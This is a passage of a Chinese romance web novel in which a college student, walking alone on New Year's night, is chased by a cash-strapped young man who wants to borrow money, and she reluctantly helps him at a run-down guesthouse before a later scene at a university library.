母女俩从蛙声虫鸣喧闹的田间小路走到村口的泥路,那里可算有路灯了,闻毓青盯着路面拉长的暗影兀自失神,那一团有轮廓的、会动的东西,像跟屁虫一样,安静地跟了她们一路。
那是闻毓青意识里,第一次留意到影子的存在的时刻。
她好奇地问妈妈:“天...上派...派来的...守...守护...神吗?”
一句话说得吞吞吐吐,鼻腔发声奇怪,阿欢姐耐心听着,好不容易才听清她含糊的发音,不由侧目望向地面的一双影子,注视了许久。
她顺着女儿的话,“对啊,在陪着我们呢。”
“为...什么我...我...有...时候...不见它?”
“它啊,是个调皮鬼,有时候出来,有时候藏起来,”阿欢姐弓背喘着粗气,笑了笑,“但不管怎么样,你只要知道它都一直在就好。以后自己走也别怕,有它陪着你呢。”
和影子交朋友那几年,闻毓青发现它们或许有一个部落,有时候来的是常见的老朋友,有时候又会有新的朋友出现,高矮胖瘦都有,每次觉察到换了个影子,她好像发现了什么天大秘密,悄悄凑近妈妈耳边,激动地告诉她那些细微的不同,为自己敏锐的觉察而得意洋洋。
幼儿园启蒙阶段是属于闻毓青和自己影子的一支协奏曲,到适龄的读书年纪,她就直接从小学上起,再然后初中高中,很多童稚时期不知晓的神秘东西,都一一有了科学的说法。
然而,“影子是自己的守护神”是比光学现象这样的概念更早植入闻毓青脑海的认知。
她总觉得影子是独立存在的。
闻毓青换了很多姿势,影子也学她比了很多姿势。
这只影子应该年纪很小,还处于懵懂无知未开化的阶段,所以只会笨拙地模仿人。她无聊逗她玩,她也傻傻地陪她玩。
闻毓青单手比了个耶,举起手机和她拍了张合照,存档了今夜的她们。
行至路口,导航语音提示左转。
她按指示拾步向左拐,同时百无聊赖地数着地砖上的格子,睫毛随晃动的影子眨了眨,倏地弯起了唇角。
不是已经走在解决问题的路上了么?以后就知道该怎么提前计划了。
经验值+1!
耳机里又响起熟悉的旋律和歌词,她像在摩天轮上那样,仰起头,望向天空。浮云淡得像烟,农历十三号的月亮已经近乎圆满,高挂在前方的天幕上,亮堂堂的,指引前路。
唇边呼出一串很快就消散的白气,闻毓青笑起来,露出洁白的小虎牙。
步伐变得愈发轻快。
就当夜游吧,至少现在自由自在。
「私奔到月球」
她和自己。
3. 003
凌晨一点半,这夜的冷清阴郁悄然潜入人心。
漫游在夜晚的街道,人迹愈发罕见,绿化树伫立在路旁,落下一排森然的阴影。闻毓青漫步的心情荡然无存,导航显示还有五百三十七米,她加快步伐,想早点走到民宿。
身后隐隐响起人说话的声音,大概是在发语音。
她摘下了耳机,以免蒙蔽感官对周遭环境的觉察,一个人走夜路要提高敏锐度。
“靠!”
一声很凶的低骂被猎风送入耳畔,暗哑男声,听着心情很不爽。
闻毓青随即眼皮一跳。
这样的环境氛围,无可避免地加剧了人对危险的觉知和想象,不安感弥漫在五脏六腑,于是她脚下的步子迈得更大更快。
也就那么一会儿功夫,身后的脚步声也更加急促,像是要紧紧跟着她。
一股不妙的预感爬上心头。
“喂!”
下一秒,喊人的声音传进耳朵,闻毓青身形一顿。
叫谁?只可能是叫她了。
闻毓青很确定,周围只有她和他两个人。
这太糟糕了。
近些年来恶性事件频发,妈妈总给她转发“男子景区搭讪不成捅人”、“邻居口角纠纷后持刀入室杀人”、“深夜路边一男子强//奸//抛//尸”之类的社会新闻,提醒她一定要注意安全。
如今这些新闻在脑海里反复盘旋,恐惧感瞬间袭来,闻毓请整块脊背都麻麻的,四肢发僵。
万一搭理他,真发生点什么怎么办?
这里就他们两人,没人能救她。闻毓青好怕自己点背,一不小心就魂断新年第一夜。
她假装没听见,不回头做任何反应,以免触发任何可能招致不幸的连锁反应,裹紧围巾埋着脑袋,高速迈步往前疾走。
似看出她想甩掉他的心思,那人再度出声,“诶,前面那个戴红围巾的,你等等!走那么快干什么?”
腔调懒洋洋,听着混不吝的,不像正经人,闻毓青心脏快跳出嗓子眼。
眼瞧着还有三百多米就到老小区的门口,她深吸一口气,拳头一捏,牙一咬,心一横,拔腿就跑。
“你跑什么啊!?”
身后的声音没完没了追着她。
闻毓青几乎是用尽最大的力气和最快的速度逃奔,体测划水的恶果偏偏这时让她尝到了,那个人很快就赶上来,在小区门口拽住了她的衣袖,将她阻拦下来。
“啊!你干嘛!”
惊慌呼的声音划穿了夜幕。
大喊大叫的目的是想引起保安注意,让人来帮忙,可一抬眼,闻毓青心顿时凉了半截。
门里面连个保安室都没有,这是侧门......
她飞快把袖子从他手中抽出,即便恐惧也还是尽量保持镇定,眼睛瞪得锃亮,企图用气势和声量震慑对方,厉声道:“你放开我!我报警了!”
“借我一千——”
那人后半句话被风吹散。
闻毓青腿都要吓软了,当即傻愣:“啊?”
像抓娃娃机的机械爪那样,一只宽大的手掌自上罩下来,手指适时收拢,抓获到了一颗长发被吹得乱糟糟的脑袋。于是闻毓青的头就这样随着他指尖发力的方向,被掰正,又缓缓向上抬。
这时,她得以看清了面前的人,眼睛惊讶地睁圆。
一小时前和她同坐一间摩天轮轿厢、上半张脸比游乐园npc还帅的男生挑眉,紧紧盯着她,发音清晰,一字一字复述方才被打断的话——
“借、我、一、千、块,行、不、行?”
闻毓青忙道:“我借我借!你先放开我!”
对方挪开手,她飞快后退,抚着胸口劫后余生般大口喘气。猝不及防间,那人突然伸手要来够她那只垂在腿边的手。
她腾地往后跳了两步,惊道:“你做什么啊?!”
他轻嗤一声,扬唇嘲笑,“游乐园里骂我没素质的时候不是很硬气,现在被吓破鼠胆了?”
是你本来就没素质啊!
闻毓青捏着拳头想怼回去,但只能向形势低头,微鼓的脸颊藏不住憋屈。
瞧见那副吃瘪又不服气的模样,他呵了声,一步逼近,动作很快地捞起她手,往她手心塞了个东西之后,自觉退避两步远。
那手冷得跟冰块似的,闻毓青情不自禁打了个寒颤。
“喏!”鼻子吸溜一下,他略微地抬了抬下巴,一开口,声音带着很重的鼻音,像是安抚她刚才的惊慌,满不在乎道:“怕就报警吧。”
闻毓青狐疑地摊开手心的卡片,是一张身份证。
身份证背面朝她,她掀翻到人像面,白底的证件照映入眼帘。
拍这张照片时的男生看着大约十五六岁的样子,平头,清瘦,气质介于小男孩和青涩少年之间。脸颊带着点未褪的稚气,但五官轮廓立体,棱角分明,透着几分张扬锋利的锐气。
盯了几秒,她的目光游移到证件信息的第一行——
姓名:陆曦泽。
-
游乐园散场后,陆曦泽从园区出来,下意识往停车场方向去。走了几步没在裤兜里摸到钥匙,恍然记起,今晚没开车过来。车昨天就没油了,开不动。
抱着最后一丝希望临时订房,基本上所有酒店都满房,珺希酒店倒是还剩两间好几千一晚的江景房。
目光停留在珺希两个字上良久,陆曦泽不由想起不久前那份陆振川递来的、一方已经签名盖章的合同,他点开搜索引擎,搜索叶容华三个字。
页面弹出人物百科,一位六十多岁的女士,叶容华,珺希集团董事长。
又刷了几页软件上的酒店,勉强找到附近一家有空房间的商务酒店。付款密码刚输完,界面弹出一则提示:银行卡可用余额不足。
“......”
查看余额,卡里就剩两百七十三块八。
陆曦泽烦躁地啧了声。
前阵子一朋友说要去医院,手头没那么多钱,找他借了笔,当时他还没和陆振川闹翻,更没想过有一天会被断经济供养,就给人转过去了。
这会儿倒是自己手头紧了。
找了一圈能借钱的人,没一个回他,朋友圈一刷,倒是一水儿夜店泡吧蹦迪的视频,误点开一个就吵得人头疼。
现在车不好打,看有人往路口走,他也跟着,打算走远点在别处叫车,期间还不放弃发语音打电话找人。都跟人间蒸发了似的,走了半天愣是没联系上一个,排队叫车的排号依旧遥遥无期,路上的人也不知道何时消失了。
他穿得单薄,被风呼得够呛,手机偏偏这时发出系统警告:电池电量不足,还剩2%电量。
他从衣兜取出充电宝,电源键一摁,0%。
“靠!”
陆曦泽真有点绷不住了,什么鬼运气。
手机亮度拉到最低,调成省电模式揣兜里,碰都不敢碰,这鸟不拉屎的鬼地方没手机他都不知道怎么走。
在周围扫了一圈,也就人行道前面还有个女孩。
他微微眯起眼,瞧那裹着羽绒服大衣的背影似曾相似,顿时乐了,这不摩天轮上那女孩么,好歹是找到根救命稻草了。
这地儿离酒店剩一点多公里,比起打车,还是找人借钱救急更靠谱。
于是,他追了上去。
“你跟见鬼似的,一喊你,撒腿就跑。”陆曦泽吐槽。
闻毓青简直不可思议,这说的是人话吗?
“深更半夜,什么人都没有,你跟鬼一样尾随在我身后,怎么不说是你吓人?”
看完手上那张身份证信息,她抬眼,对比他露出的眉眼,的确有八九分相似,不过现在的眉眼更锐利成熟,气质也更乖张。
视线挪到黑色口罩,迟疑道:“确定这是你吗?陆曦泽?”
陆曦泽无语,干脆一把扯下口罩,弯腰低头凑近她,“看看看,好好看清楚!”
距离突然拉近,闻毓青下意识后仰身子。眼神倒是很实诚地聚焦在某处——
口罩揭开后,完整的一张脸。
鼻挺唇薄,下颌线流畅利落,往下逐渐收窄,极具冲击力的精致五官放大在眼前,她登时便失神了几秒。
原来并不只是“口罩帅哥”啊......
大概是知道自己好看,他扯了下唇角,放荡不羁道:“怎么,被我帅傻了。”
单边挑眉的动作很是熟练,闻毓青怀疑他没少对着镜子练习耍帅,挑眉时还噙着坏坏的浅笑,于是唇齿间便勾画出一枚看似洁白的黑心弯月。
危险又迷人。虽然这个形容都快被用烂了,但闻毓青认为用在他身上很客观。
她错开目光,违心地否认:“......并没有。”
自恋是一个男生最强大的祛魅武器,但长成这样允许自恋。
当然,要是不长嘴、再多讲点素质,就更完美了。
视线下移,男生的下巴处贴了一块白色纱布,覆盖了整个下巴的区域,看起来创伤面积不小。
“你下巴怎么了?”她脱口而出问。
男生敛目,眼底扫下一道睫毛的阴影,他语气随意,也挺坦荡,“哦,整容了。”
闻毓青张唇:“啊?”
陆曦泽淡定回:“昂。”
闻毓青一时无言,盯着他下巴好半晌,消化了这句话。
真的是......好追求精致的男生。
这还是她第一次遇见一个爱美到连下巴都不放过的男生,明明十几岁的证件照里已经是个英俊帅气的小伙子了,还要这么卷颜值,不会是个什么网红男主播吧?
谁都有追求美的权利和自由,她无可置喙,只是,缝针拆线什么的,真的挺遭罪的......
闻毓青下意识抿了抿自己的嘴唇。
冰冷金属缝合针的弯钩,穿凿过
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血肉的画面在脑海复现,虽然手术都会打麻药,这种令人战栗的头皮发麻的感觉,现在也只是一种附加的想象,但她还是忍不住全身汗毛竖起。
“看在咱俩一晚上遇见两次的缘分上,借我一千块呗?我订个酒店。”他打包票道:“你放心,明天回去就还你。”
闻毓青眉头不自觉皱起,思绪全在他说的要借一千块钱。
什么缘分不缘分的,简直是孽缘。
一千块,订酒店,明天还,还让她放心。这能放心吗?
抢摩天轮位置的时候,他那副派头可是阔气得很呢,没想到真实境况其实是,刚整完容,手头紧巴巴得连住酒店的钱都没有。
钱包空空还要借钱住这么贵的酒店!没钱硬花,到底怎么想的!闻毓青实在不理解。
对于一个日常支出精打细算、也可以说扣扣搜搜的人来说,这纯属狮子大开口,超出闻毓青能接受的范围了。
不会是来骗钱的吧!?
想到这个可能性,闻毓青目光审视了他一遍,又全面戒备起来。
毕竟眼前这人,看起来就很不靠谱。说是借钱,面对她这个不熟的路人,姿态也没有放得更礼貌随和一点,张口就要借一千,没半点不好意思,估计是惯犯。
脸皮都“借”厚了吧。
很敞亮地给了她身份证,但谁能知道是不是伪造的呢?
闻毓青本不该这么恶意揣测别人,随机帮助陌生路人,寒夜暖心善举,她该往互帮互助的真善美温情叙事去想象,可她已经吃过一堑,没办法不对陌生人产生提防心。
大一下学期开学初,她在校外马路边遇到一个骗子,穿得人模狗样,说是来出差的,手机丢了没法回家,求她借他五百块现金打车回邻市。着急、发慌、人看着怪可怜,又讲礼貌,拿出公文包里纸和笔,态度诚恳无比,让她报联系方式给他,以便他返乡后还钱。
人出门在外,总会遇到困难有需要救急的时刻,她很能理解。那时候,包里恰巧地放着过年妈妈给她的一千二压岁钱,还没来得及存银行卡里,瞎猫碰上死耗子,连兑换现金的环节都免了。
结局就是,她借人应急的五张钞票就那么飞了,一去不复返。
事后,闻毓青一直在反复回想那个男人在车窗里和她挥手再见时的微笑。
十有八九是在嘲笑她这个傻子真好骗。
报完警,也只是走个流程,钱最后并没有找回来。她没和任何人说这件事,自己在被窝里偷偷哭了一个晚上,幸好第二天是周末,不用顶着两只大核桃眼去上课。
一朝被蛇咬,十年怕井绳。被社会毒打过后,她当然不会再像大一时那么单纯和天真,相信别人会把拿走的钱送回来。
今晚把这钱借出去,多半是当初的下场,要不回来钱,她必定心疼无比,光是想想现在就很难受了。可不借,万一这人硬来怎么办?
闻毓青不禁陷入天人交战之中。
当时还是在白天人来人往的大马路边,即便拒绝,也能较为安全地离开,而现在这个时间和地点,体型差距、力量悬殊的现实情况摆在这儿......
“喂,吱个声啊,行不行?”
不太行......
闻毓青欲哭无泪,要不我还是报警吧。
斟酌好一会儿,她用愚蠢清澈的大学生的神情和语气说:“我生活费月底花完了,新一个月的家长还没给,借不出这么多钱。”
说完,瞟了眼他的表情。
提起生活费,陆曦泽不自觉眼露戾色,想到什么,没好气地哼嗤一声。
看他脸上闪过不痛快的神情,闻毓青心一紧。
本想说两百倒是可以借他,真要是肉包子打狗一去不回,这是她能接受的最贵的肉包子价格了。可一千到两百的落差是不是大了些?
人模狗样的坏东西多的是,砍价太多,她怕他“突发恶疾”来砍她。
毕竟现在“精神病”当道。
当然,这个想法有点被迫害妄想症了,目前为止,眼前这个人的攻击性不甚明显,或许真就只是为了要钱。
她还是试探性改口:“只能借你五百,行...吗?”
闻毓青不自觉叹气,又是该死的五百块,又要白送了。
陆曦泽也叹气,吸溜两下鼻子,妥协道:“五百就五百吧,你等会儿,我先看下有没能住的房。”
他掏出手机,点开微信订酒店的小程序,刚划拉了几下,然后——
手机关机了。
两人面面相觑,大眼瞪大眼。
“有充电宝没?”他声音沙哑。
闻毓青机械摇头。
陆曦泽:“......”
气氛僵持几秒,他打了个喷嚏,屈指揉了下发红的鼻子,问:“你住哪儿?”
闻毓青:“......”
救命!
他真的,要像鬼一样缠着她了!
4. 004
深夜的老小区很安静,细碎的脚步声格外清晰。
路灯灰扑扑,视野昏暗,地图软件带他们走到侧门就结束导航了,闻毓青在单元楼里绕了半天,怎么也没看见民宿地址上的#5栋。
好不容易找到正门亮着灯的值班室,问了保安才知道,#5栋就在他们侧门进来的右手边第一栋。之所以没认出来,是因为墙上的路标掉落很久,一直没维修处理。
闻毓青只好原路返回。
“反了,走右边。”
一直跟在她身后的陆曦泽蓦地开口提醒。
她脚步一顿,不确定地瞥了他一眼,但还是往右拐了。之后每到单元楼之间的路口,他都会提前出声指示方向,堪称人形导航仪。闻毓青将信将疑地按他说的走,没走冤枉路,大约五六分钟,就成功找到了#5栋。
她看他的目光有了微妙的变化。
从一开始的半信半疑,到现在带着惊异和佩服,小区里路灯的作用只是证明有路灯存在,起不到多少照明效果,没想到摸黑走过一次的路,他竟然完全无误地记下来了。
“几楼?”
陆曦泽站在楼下的老式铁门边,神色恹恹地打了个哈欠。
“等会儿,我找老板要钥匙。”
门紧闭着,他们进不去,打通电话后,民宿老板让她在铁门上摸一下。
闻毓青狐疑地抬头向上看。
镂空铁门顶框上没见挂钩之类的东西,哪是什么能放钥匙的地方?甚至门旁边的牛奶盒都更有可能是钥匙的藏身之所。
她再次确认:“在铁门顶上?”
对方很肯定,让她仔细找找,闻毓青干脆上手,在几厘米宽的铁门边框上摸了几下,只摸到满指肚的灰。
“是不是这个?”陆曦泽勾着一串钥匙在她面前。
闻毓青眼睛一亮,“你哪里找到的?”
他扯起唇角,看了眼铁门上的遮雨棚。
闻毓青跟着抬眼,哑口无言,怎么想到放在那儿,万一下场大雨冲走了怎么办?
手机里的电话声传来,“你开完门再放回去就行。”
闻毓青:“......好。”
她抵着门,刚要踮起脚尖,手里的那枚钥匙就被人拿走。
陆曦泽长臂一伸,又给放回去了,他嫌弃道:“这么不靠谱的民宿你怎么订到的?”
闻毓青叹口气,没办法,今晚是卖方市场。
“走吧,六楼。”她把门推得更开,让他先进去。
面对狭窄的楼道口,男生眉头一皱:“没电梯?”
闻毓青呵呵一笑:“你想多了。”
空气里落下一声无奈认命的叹息,又响起杂沓的几道脚步声,感应灯从一楼依次亮到六楼,照亮着掉墙灰的楼道。
刚到六楼,闻毓青抬眼就看到了一扇敞开的红色木门。
门边贴着张很简单的大吉民宿的招牌,里头前台有个小哥,手机立在支架上,戴着耳机看游戏直播,脚边放了个小太阳,两只手揣进热水袋里,困倦地打了个哈欠。
抬头瞥见他们,他扬起笑,打了个招呼。
闻毓青把身份证给他登记,小哥视线越过她肩膀往后看,“那位的身份证也要登记一下。”
她愣了下,回头见陆曦泽已经坐在接待区的小沙发,低垂脑袋喘着气。
民宿的装修风格很有年代感,接待处的布艺沙发看着有些年头,沙发上头的天花板悬了个吊灯,灯壁染上厚厚的尘埃,散发微弱的光,男生的半张脸隐在半明半昧中。
闻毓青没忍住,悄摸打量了一会儿。
宽肩阔背,长腿岔开,胳膊肘支在腿上,一双骨节分明的手悬在膝盖之外,净白的手背筋脉嶙峋,中指戴了枚银黑色的戒指,有点复古朋克的风格,外圈印着一圈的碳黑色花纹,隔了距离看不清,像十字架又像花。
食指和中指略微屈着,两指交错的间隙,或许嵌入一支修长的钢笔更为相宜,又或许可以是一根飘着亮着猩红、烟雾缭绕的细烟。
伴随着他喘气的动作,胸腔和肩胛也有了起伏的脉搏。
爬个六层楼能把他累死,她暗自嘲笑,刚才追人的时候不还跑得挺快的么。
收回目光,她淡淡道:“他不住。”
神色坚定又庄重,生怕让人生出半点旖旎的误会。
讲实话,跨年夜一男一女入住民宿,太容易被误会,闻毓青很清楚这点,但总不好揪着陌生人就是一通解释。
小哥不再说什么,微笑着把房卡给了她,“前面第三间,右上角有门牌号603。”
闻毓青接过房卡道谢。
身侧倏地投下一道阴影,陆曦泽走来,与她并肩而站,“还有没有空房间?”
小哥摇头,“今晚已经满房了。”
他应了一声,从兜里掏出手机,“能借条Type-c充电线吗?”
小哥:“房间床头有三合一的线。”
陆曦泽随即侧目,看向闻毓青,她哦了一声,忙低头掏包。
“我现在包里就有。”取出充电器给他,“拿着。”
陆曦泽接过,目光搜寻着接待区墙上的插座,扫了两圈,见鬼了,一个插座都没有。
小哥见状,不好意思地笑了笑
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。
“这接待区是过道改造的,没装插座接口,”他指了指前台桌内的移动排插,“我这儿的,还是屋内接了个排插过来的,不过都已经插满了。”
陆曦泽的目光再次投向她,挑眉,“方便让我去充个电?”
不方便。
才不想让陌生人进到自己房间。
不像方才路上只有他们,现在有第三人在场,安全还是有一定保障,闻毓青也没什么好顾虑的,懒得周旋,果断选择拒绝他的请求。
她反应很快地拿走他的手机,“你在这儿等,我充完给你拿出来。”
陆曦泽没意见,“充到百分之三十就拿出来给我。”
“没问题。”
民宿单人间的陈设简单,空间很小。
一张1.2米宽的老式红木色的靠背床,一张简易的木色桌子,一间狭窄逼仄的干湿不分离的卫生间,洗手池在马桶边,一条塑料帘拉开,里头是只够站一个人的淋浴区。
开了空调制热,闻毓青把包放在桌上,垂眼瞥见桌角残留的灰迹,再次感叹今晚的钱花得太冤了。
即便如此,这依旧是她费劲找到的、能让自己安定一晚上的容身之所。
抽了几张纸巾沾湿重新擦了两遍桌子,把脱下的外衣和帆布包放上去,给手机充上电,接了一壶水插电烧热,做完这些,她抓着桌上的一次性塑料杯进到洗手间洗漱。
闻毓青很快地洗完一个热水澡,冻了半夜的僵硬四肢终于像化了冰的肉,恢复了正常的温度和弹性。
手机充到电已经自动开机,她看了眼电量,百分之三十五。
出门还手机,接待区的景象让她诧异地抬了下眉,摩天轮上还神采奕奕的男生,此刻蜷缩在狭小的沙发上,即使膝盖屈着,脚还是露在沙发外面。
前台小哥看见她,说道:“那位帅哥说他在这儿睡会儿,我看他脸色不好,不会是发烧了吧?”
闻毓青默然。
今晚在人行道碰到,他一开口,声音就哑得不行,之后同行路上,又见他不停吸鼻涕,闻毓青料想他被风吹得够呛,毕竟他穿的那身,可以说是典型要风度不要温度,他不受冻谁受冻?
她问小哥:“这个小区还有没有其他民宿?”
“那位刚才也问了。是还有几家民宿,不过我问了都说没有空房间。”
闻毓青点点头,“谢谢你。”
走到沙发边,她轻轻拍了拍熟睡的男生,他的脸埋在胳膊里,没半点儿反应。
她抿唇,又推了推他肩膀,叫他大名。
“陆曦泽,醒醒,你手机有电了。”
5. 005
男生翻了个身,眸子缓缓睁开一半,脸颊和耳朵闷出红晕,安静内敛的时候,乖张的气质也柔和不少。
迷糊侧躺时露出的半张,依旧养眼,闻毓青不禁感慨,实在有一副漂亮皮囊啊。
他伸出手,声音含糊不清,“给我。”
闻毓青回过神,把手机递到他手心,他手一抓到手机便飞快缩回怀里,调整两下姿势又继续泰然睡下。
显然,他这时候已经忘记他们在路上说的那五百块钱,闻毓青打算就这么走,既然他没想起,她也不会哪壶不开提哪壶。
走了两步,敞开的门口吹进一阵来自楼道的风,她裹紧了外套,加快速度小跑回去。握住门把手的那刻,冷硬金属上的寒意传导到掌心,闻毓青浑身激灵了一下。
门把下压到一半,不上不下的,她定在门外,僵持了一会儿。
也就那么一会儿,那只把手彻底下压,门推开了,又咔哒阖上。闻毓青进到屋内,转身把防盗链的链头插到锁扣里。
房卡捏在手心没插上电,屋内幽暗静谧,她像只搁浅在滩涂的鱼,陷入门边的沉默空气里。
最终,小鱼无力翻腾,放弃挣扎。
闻毓青无可奈何地叹了口气,拉开防盗链,拧开把手,折返到沙发边。
“喂,别在这儿睡了。”她推搡两下陆曦泽的胳膊,“我给你转钱,你赶紧订个酒店。”
他拖着半死不活的声音,“嗯......”
闻毓青问:“怎么转?微信还是支付宝?”
他声音微弱不清:“不用。”
闻毓青:“不用?”
“累了,走不动。”
“那你睡哪儿?”
闻毓青视线垂下,他不会想一晚上窝在这个小沙发里吧?
下一秒,他迷迷糊糊说:“这儿。”
闻毓青:“......”
好吧,也不是不能睡。
她去问前台小哥:“你好,能让他在这里睡一晚吗?”
小哥来回打量他们一眼,欲言又止,犹豫了一会儿,说:“可以吧。”
“有没有多余的棉被?”
“您订的是单人间,多加一床棉被要加收五十元。”小哥把前台贴着收款码的立牌推到她面前:“收您十五块清洗费就好。”
“为什么?”
“过节,就给您打个折,记得给我们五星好评哦。”
“噢,谢谢啊。”
那床厚实的棉被,自然是盖在了睡得不省人事的陆曦泽身上,做完这些,闻毓青自觉已经仁至义尽,便转身回房间睡觉。
外衣刚放桌上,兜里的东西不小心滑出来。
她蹲下捡起,目光对上证件照上青涩少年的眼睛,往下看了眼身份证号,很巧,和她同一年出生的。
身份证搁在桌上,她往一次性纸杯里倒了半杯开水放着晾凉,心满意足地关灯爬进温暖的被窝摸黑刷手机。
流浪了半夜,终于能躺下了。
近半年,她的作息一直很稳定,晚上十二点上床睡觉,早上七点起床。但现在已经两点多了,人好像超过某个熬夜时间的阈值后就会越来越精神,她完全不困。
于海蕴发消息问她找到住的地方了没,深夜收到这样一条关心的询问,闻毓青顿时心里暖暖的,回她说找到了。
闻毓青:「还没睡吗?不会一直在等我报平安吧?让你担心了,不好意思啊......」
于海蕴:「我熬夜,现在还早」
啊......尴尬。
早知道不那样噼里啪啦说一堆了。
虽是舍友,但她们不算特别熟,宿舍四人,另外两个女孩关系更要好,做什么都黏一块,闻毓青和于海蕴两个则独来独往。
倒不是说闹过什么矛盾或者性格不合,只是闻毓青不是上课就是在跑兼职,没时间和舍友通过多相处来加固友谊。于海蕴更是大半时间不在学校和宿舍,高冷寡言的大美女,和她们只是见面聊两句的关系。
闻毓青:「哈哈,那你继续熬鹰吧」
末了,她还是补充了一句。
闻毓青:「谢谢你的半夜慰问![比心]」
刷了会儿朋友圈,她看到十分钟前于海蕴发的电影截图,原来今晚她窝在宿舍熬夜看电影呢。闻毓青手指一点,留下个红心。
这学期没什么课,两个舍友翘了元旦前的一天课,凑了一个礼拜,约着去外地玩,拍了好多照片,辽阔的、冰天雪地的纯白风景,还有两人脸蛋红彤彤的合照。
有同学发了商场的跨年夜活动,视频里,零点一到,所有气球脱离牵引,不断上涌,偌大的天花板漂浮起一片彩色的海洋。
动态刷到一半,闻毓青收到于海蕴回复的一个高雅人士的企鹅表情包,这和平时接触的她相比,有股反差萌。她忍不住弯起唇角,点了个收藏。
再往下划,有人深夜放毒,来自兼职认识的工友,第一张图,一圈干杯的手底下是一桌食物,第二张图,满满当当的金黄红艳的鲜香食物,看得人垂涎欲滴。
闻毓青喉间口水吞咽,点开外卖软件,加购了几样东西。
付款的时候一看价格,她咋舌,配送费竟然要二十块。点了其他店,皆是如此这般,于是她只好忍着肉疼,咬咬牙点了付款。
原本还很精神,但被室内暖烘烘的热气吹着,不由打了几个哈欠,《寻找薇薇安·迈尔》纪录片的进度走到二十几分钟,她的视线开始涣散。
手机砸在枕头上,落进被窝,只有纪录片播放的声音闷闷地泄露出来。
-
一道外卖
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的电话铃声叫醒了闻毓青。
她穿上衣服去前台门口的外卖桌取东西,路过前台小哥时,找他要了两个一次性纸杯,回了房间。
再次从房间出来,手上拿了一堆东西。
她粗暴地摇醒睡得死死的陆曦泽,男生抱着被子半坐起来,神志昏沉。
懵懵地问:“干嘛呢?”
她指着茶几上的两个纸杯,“褐色那杯是感冒灵冲剂,另一杯是温水,袋子里有布洛芬,你要是觉得自己发烧了,就吃两粒药,留了瓶矿泉水给你。”
说完,她拂袖而去,“我走了。”
回到房间,正要脱外套,桌上那张身份证跳进视野。
怎么没完没了......闻毓青耐心告罄,这时简直要无奈扶额。她深深吸气,又一口气呼出去,好像这样一次用力的呼吸循环之后,就能沉下气来。
再出去时,沙发边小桌上多了个手机,两个纸杯都见底,男生蜷缩进沙发的被子里,留了个后脑勺朝向她,像只缩起来的刺猬。
闻毓青把那张身份证压在手机下,用药品袋遮挡住,躬着身子缩在小沙发不舒服,陆曦泽转了个身换姿势,脑袋堪堪要从沙发边缘滑下来。
她瞅了眼和沙发齐平的茶几,抬手预备把桌子往里推。
小哥恰好看过来,胆战心惊地伸手制止,“别动!”他从前台走出来,搭了把手,“这得抬进去。”
大理石台面的老式红木茶几重量不轻,两人合力,将它并到沙发边上。
忙活完,闻毓青心情这会儿诡异地激越起来,因为,终于终于!能回被窝踏踏实实地睡觉了!
这对冷战的情侣实在让人看不下去了!
前台小哥实在忍不住,在她擦身而过时,急忙喊住她。
“你还是让你男朋友进去睡吧。你看,他不肯走,硬要在这儿守着你,你一晚上进进出出的不睡觉照顾他,两个人这么关心彼此,就别闹别扭了,这不折腾你们自己吗?”
闻毓青眨眨眼,瞳孔里满是“你在说什么”的震惊。
几乎是被他荒谬的联想逗笑,她啼笑皆非。
“你脑补太多了,”她言简意赅解释:“我们不熟,路上遇到的,不能睡一间。”
瞥见他手机屏幕上游戏进行中的页面,她腹诽,玩游戏都不忘多管闲事。但很快想到什么,她又无奈地笑了下。
半斤不说八两,她不也是在多管闲事?
这下好了,让人误会了。
指着桌上放在一边的暖手袋,闻毓青和他说:“你要是关心他,这个用不上的话,可以给他用。”
“哈?”小哥错愕,张着大嘴巴,一时没话说。
闻毓青看见一颗好显眼的蛀牙。
也不管他即将要说什么,她转身,疾步回房间。
6. 006
闻毓青回到宿舍时,下午一点半,房间已经空无一人。
本来应该睡个午觉的,但对于两个小时前才起的人来说,这顿午觉可以免了。往帆布包里塞进学习资料,她像往常一样,扫了辆共享,骑车去图书馆自习。
说是去图书馆,其实目的地并不在他们学校范围内,而是坐落在一堵侧门之隔的宜江大学。
刚停好自行车,一管护手霜从车篓里帆布包敞开的口子溜出,弹到更里边的一整排自行车的夹缝之中,闻毓青挪开足够的空间,挤进车丛里,蹲在地上伸手够。
旁边有人将自行车落了锁,夹带笑意开口:“又来蹭我们的图书馆了。”
闻毓青循声抬起了头。
午后阳光刺目,她不由眯眼,手掌遮住眉骨,才得以看清来人。
宋齐远笑意和煦地望向她,眼神干净纯良,以至于她方才听到这句话的微妙不适感,无声消融于这道目光里。
应该只是无心的玩笑吧,闻毓青想。
于是她也笑了笑,“对啊,希望阅览室还有位置。”
闻毓青不是本校的学生,无法进入宜大图书馆预约系统,因而无法使用自习室的座位,每次都去五楼无需预约的阅览室自习。
不过那里也很抢手,闻毓青之前能占到座位,是因为她一大早就蹲守在图书馆门前,捧着盒热牛奶,裹着羽绒服宽大的帽子,在清晨的寒风里背单词,然后,在保安大叔打开图书馆门的第一时间,麻溜地刷卡进闸直奔五楼。
不少人和她一样,早早驻守着,所以她每天早上都打仗似的。
如果说之前还只是大四学生的局部战争,那么现在的期末复习周就称得上全面战争,基本上所有学生们都往此地奔涌,即便撞上元旦假期,图书馆和各个自习教室座位仍然十分紧俏。
往往这种僧多肉少的时刻,资源争夺的硝烟就愈发浓郁。
宜大学生怨声载道,埋怨学校的“大方”,座位本来就不够多,本校学生的权益都没办法保障,还要让“外面的学生”分一杯羹。
闻毓青就是其中一个外面的学生。
有次接水,水箱旁站着的一个学生发起了牢骚,“每次都要抢位置,特别是现在,新图书馆离得近,好多经贸的都过来了,真烦死了!”
对方寻求肯定地问:“是不是?”
闻毓青往旁边看,没别人,发现原来对方很自来熟地在和自己说话,只好扯起嘴角,尬笑着回应了一下。
她所在的学校,是宜江大学附属的经贸学院,一所公办二本院校,填志愿那年,她报了学校的热门专业国际经济与贸易,很不幸地调剂到了她完全没考虑过的日语专业。
因为是附属学院的关系,经贸学院的学生可以共享宜大的部分教学资源,像体育馆、图书馆这些校园公共设施,在教学资源方面,他们可以选修宜江大学的教授开的公共课,直接去宜大的教室听讲,甚至部分的专业课是宜大的教授授课。
不过学院今年独立出来,改名叫做宜江经贸大学,有消息说,之后两个学校就要逐步做切割了。
闻毓青很喜欢宜大新建的这座极具设计感的漂亮图书馆,趁着还能享用的最后时间,考研这段时间,几乎是从早到晚泡在里头。
同时也无比恳切地希望,之后的几年能“光明正大”地在这座图书馆里继续学习。
